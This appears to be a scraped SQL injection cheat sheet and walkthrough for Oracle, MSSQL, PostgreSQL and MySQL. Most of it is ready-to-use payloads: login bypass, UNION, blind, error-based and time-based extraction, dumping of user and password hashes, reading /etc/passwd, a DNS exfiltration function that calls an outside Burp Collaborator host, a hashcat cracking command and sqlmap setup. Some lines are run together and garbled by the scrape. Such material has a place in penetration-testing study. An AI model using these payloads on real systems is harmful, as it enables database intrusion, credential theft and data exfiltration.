A SQL injection attack consists of inserting SQL statements on a SQL query via the input data from the client to the application. This vulnerability takes place due to incorrect filtering or lack of data sanitisation.
Exploiting this vulnerability can lead to bypassing logins, reading or modifying sensitive data from the database, executing administration operations on the database and reading or writing files on the operating system.
For example, a simple string that the attacker can use to bypass login portals would be:
' or '1'='1---
Finally, each database server has its difference, so queries for MySQL injection might not work on oracle database servers.
Cheat sheet
Most of the commands are retrieved from Port Swigger's cheat sheet.
String concatenation
DBMS
TECHNIQUE
Oracle
'foo'
Microsoft
'foo'+'bar'
PostgreSQL
'foo'
MySQL
'foo' 'bar' or CONCAT('foo','bar')
Substring
Obtain a substring where "X" is the offset and "Y" is the lenght of the substring.
DBMS
TECHNIQUE
Oracle
SUBSTR('BLABLA', X, Y)
Microsoft
SUBSTRING('BLABLA', X, Y)
PostgreSQL
SUBSTRING('BLABLA', X, Y)
MySQL
SUBSTRING('BLABLA', X, Y)
Comments
The comments used to remove the rest of the original query might vary from SQL server.
DBMS
TECHNIQUE
Oracle
--<COMMENT>
Microsoft
--<COMMENT> or /*<COMMENT>*/
PostgreSQL
--<COMMENT> or /*<COMMENT>*/
MySQL
#<COMMENT> or -- <COMMENT> or /*<COMMENT>*/
Obtain database version
DBMS
TECHNIQUE
Oracle
SELECT banner FROM v$versionSELECT version FROM v$instance
Microsoft
SELECT @@version
PostgreSQL
SELECT version()
MySQL
SELECT @@version
Database content
Oracle
# DATABASESSELECT global_name FROM global_name;SELECTnameFROM V$DATABASE;SELECT instance_name FROM V$INSTANCE;SELECT SYS.DATABASE_NAME FROM DUAL;# TABLESSELECT TABLE_NAME[,owner] FROM all_tables# COLUMNSSELECT COLUMN_NAME FROM all_tab_columns WHERE table_name ='<TABLE_NAME>' [and owner = '<OWNER>'];# DATASELECT*FROM<TABLE>
Microsoft
# OBTAIN DBMS usersSELECTname, passwordFROM master.sys.sysusers;SELECTname, password_hash FROM master.sys.sql_logins-- # Sometimes casting is needed master.dbo.fn_varbintohexstr(password_hash)# DATABASESSELECTnameFROMmaster..sysdatabases# TABLESSELECT TABLE_NAME FROM<DATABASE>.INFORMATION_SCHEMA.TABLES# COLUMNSSELECT COLUMN_NAME FROM<DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME ='<TABLE_NAME>'# DATASELECT*FROM<DATABASE>.dbo.<TABLE_NAME>
PostgresSQL
# DATABASESELECT datname FROM pg_database# TABLESSELECT table_name FROM information_schema.tables # COLUMNSSELECT column_name FROM information_schema.columns WHERE table_name ='<TABLE_NAME>'
MySQL
# DATABASES
SELECT schema_name FROM information_schema.schemata;
# TABLES
SELECT table_name FROM information_schema.tables WHERE table_schema = '<DATABASE>'
# COLUMNS
SELECT column_name FROM information_schema.columns WHERE table_name = '<TABLE_NAME>'
Conditional errors
If you want to perform error-based attacks, a database error is produced if the condition is true.
DBMS
TECHNIQUE
Oracle
SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft
SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN 1/0 ELSE NULL END
PostgreSQL
1 = (SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
MySQL
SELECT IF(<YOUR-CONDITION-HERE>,(SELECT table_name FROM information_schema.tables),'a')
Stacked queries
Some DBMS do not allow performing several queries on the same stamement.
DBMS
TECHNIQUE
Oracle
Does not support batched queries.
Microsoft
<QUERY_1>; <QUERY_2>
PostgreSQL
<QUERY_1>; <QUERY_2>
MySQL
<QUERY_1>; <QUERY_2>
Time delays
This set of functions can be used to perform Time-based attacks in seconds.
DBMS
TECHNIQUE
Oracle
dbms_pipe.receive_message(('a'),10)
Microsoft
WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT pg_sleep(10)
MySQL
SELECT SLEEP(10)
Conditional time delays
DBMS
TECHNIQUE
Oracle
SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft
IF (<YOUR-CONDITION-HERE>) WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL
SELECT IF(<YOUR-CONDITION-HERE>,SLEEP(10),'a')
DNS lookup
DBMS
TECHNIQUE
Oracle
The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
create OR replacefunctionf() returns void as $$declare c text;declare p text;beginSELECTinto p (<QUERY>);c :='copy (SELECT '''') to program ''nslookup '||p||'.<BURP-COLLABORATOR>''';execute c;END;$$ language plpgsql security definer;SELECT f();
Alternatively, you can use order by X, where X is the index by which to order.
http://example.c/debug.php?id=1order by3
2. Identify the database, the user and its privileges.
# Database V1http://example.com/room.php?cod=-1UNIONSELECT1,2,3,4,(SELECT group_concat(SCHEMA_NAME,":") from information_schema.schemata),6# Database V2' UNION SELECT NULL, user(), database() --# Privileges'unionselect grantee,privilege_type,is_grantable,4,5,6from information_schema.user_privileges--
3. Get the tables of a database.
# V1http://example.com/room.php?cod=-1UNIONSELECT1,2,3,4,(SELECT group_concat(TABLE_NAME,":") from information_schema.TABLES where TABLE_SCHEMA ='mysql'),6,7# V2' UNION SELECT NULL, NULL , TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='db' --
4. Get the columns of the table.
# V1http://example.com/room.php?cod=-1UNIONSELECT1,2,3,4,(SELECT group_concat(TABLE_NAME,":",COLUMN_NAME,"\r\n") from information_schema.COLUMNS where TABLE_SCHEMA ='mysql'),6,7# V2http://192.168.157.10/debug.php?id=1unionselect1,3,column_name FROM INFORMATION_SCHEMA.columns where table_name ='users'# V3' UNION SELECT NULL, NULL ,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='wp_users'--
5. Get the data of each column.
http://example.com/room.php?cod=-1UNIONSELECT1,2,3,4,(SELECT group_concat(host,":",user,":",password,"\r\n") from mysql.user),6,7' UNION SELECT NULL, NULL ,password FROM wp_users --
Blind
Discover if it is vulnerable.
Iron Man' and '1'='1' # True: Return the movieIron Man'and'1'='2' # False: Does notreturn anything
2. Know the length of the string.
Iron Man' and length(database())=1
3. Get the name of the database, where X indicates the value to be returned.
Iron Man' and hex(substring(database(),X,1))=hex('H')
4. Get the number of tables.
Iron Man' and (SELECT count(*) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp')<5;
5. Get the name of each table, where X indicates the table and Y the character of the table's name.
Iron Man' and hex(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp' LIMIT X,1),Y,1))<hex('z');#
6. Get the number of columns in the table.
Iron Man' and (SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies')=7;
7. Get the name of the columns, where X indicates the column and Y is the character of the column's title.
Iron Man' and SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies' LIMIT X,1),Y,1)='I';
8. Get the length and content of each value in the column, where X indicates the column's value and Y is the character of that value.
# LengthIron Man' and (SELECT CHAR_LENGTH(login) FROM users LIMIT X,1)='3';# ValueIron Man'and hex(substring((SELECTpasswordFROM users LIMIT X,1),Y,1))=hex('6');
Read Files
Because the contents of a file can be appended to the result of a query, we can retrieve data from the file system.
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(TO_BASE64(LOAD_FILE('/etc/passwd'))),6,7
Note: Oracle queries required FROM statement; this can be fulfilled by using dual DB
' UNION SELECT null, null, null from dual--
2. Get table names.
' UNION SELECT table_name,null,null from all_tables--
3. Get columns from the table.
' UNION SELECT column_name,null,null from all_tab_columns where table_name='WEB_ADMINS'--
Mssql
Union
If you want to retrieve the DBMS credentials, perform the following queries..
' UNION SELECT name, password FROM master.sys.sysusers; -- -'UNIONSELECTname, password_hash FROM master.sys.sql_logins-- -# Sometimes casting is neededmaster.dbo.fn_varbintohexstr(password_hash)
1. Obtain databases.
' UNION SELECT name,NULL FROM master ..sysdatabases--
2. Get the database tables.
' UNION SELECT TABLE_NAME FROM <DATABASE>.INFORMATION_SCHEMA.TABLES--
3. Obtain columns from the table
' UNION SELECT COLUMN_NAME FROM <DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>'--
4. Retrieve data from the table.
' UNION SELECT password FROM <DATABASE>.dbo.<TABLE_NAME>--
Note 1: In order to concatenate two columns into one select query, use the function CONCAT(username,":",password).
Note 2: If you want to retrieve N rows, use: SELECT TOP N username ....
Error based
1. You need to understand why the error is popping up, so you can create a query without mistakes. For example, missing ";", ")" or keywords. 2. Get the DB version
', CONVERT(INT,@@version))--
3. Get the database, where X is the id of the database you want to extract.
',CONVERT(INT,db_name(X)))--
4. Get the table.
',CONVERT(INT,(SELECT top 1 TABLE_NAME FROM archive.information_schema.TABLES)))--
5. Obtain the first column (id).
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager')))--
6. Obtain the second column ("alogin").
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager' AND column_name NOT IN ('id'))))--
7. Obtain the third column ("psw").
',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager' and column_name NOT IN ('id','alogin') )))--
8. Get the users and passwords (Iterative process).
',CONVERT(INT,(SELECT top 1 alogin FROM archive.dbo.pmanager where alogin not in ('ftpadmin','webadmin','administrator','user') order by id)))--
System Information
Database version:
SELECT @@version;
Database name:
SELECTDB_NAME();
Server name:
SELECT @@SERVERNAME;
Server's IP Address:
SELECT dec.local_net_address FROM sys.dm_exec_connections ASdecWHERE dec.session_id = @@SPID;
User Unformation
System user:
SELECT SYSTEM_USER;
Database username:
SELECTUSER_NAME();SELECT current_user;
Is a member of public role:
SELECTIS_SRVROLEMEMBER('public');
Is a member of sysadmin role:
SELECTIS_SRVROLEMEMBER('sysadmin');
Users that can be impersonated:
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name ='IMPERSONATE'
Authentication logins:
ℹ️It can be used to CRACK the password of the users with responder & hashcat (hashcat -m 1731 <HASHLIST> <WORDLIST>)or to IMPERSONATE LOGIN them.
ℹ️ You must be DB Administrator to impersonate them.
SELECTname, password_hash FROM master.sys.sql_logins
# Alternative 1SELECTCONVERT(NVARCHAR(MAX), CONVERT(VARBINARY(MAX), BulkColumn), 1) FROMOpenRowset(BULK 'C:\inetpub\wwwroot\search.asp', SINGLE_CLOB) AS content# Alternative 2SELECT*FROMOPENROWSET(BULK 'C:\\Users\\', SINGLE_CLOB) AS Contents;
Command execution
xp_cmdshell
If you log in as as sa (administrator), you can enable command execution.
SQLmap is an automatic tool used to detect and exploit SQL injection flaws. This subsection will teach you how to perform a simple SQL injection with SQLMap.
Intercept the request you want to analyse with BurpSuite, then store it into a file.
POST /index.php HTTP/1.1Host:example.comUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:42Origin:http://10.10.203.65Connection:closeReferer:http://10.10.203.65/Cookie:PHPSESSID=6f0kqfotc3gcb80ri2c9av37t1Upgrade-Insecure-Requests:1username=admin&password=password&x=25&y=16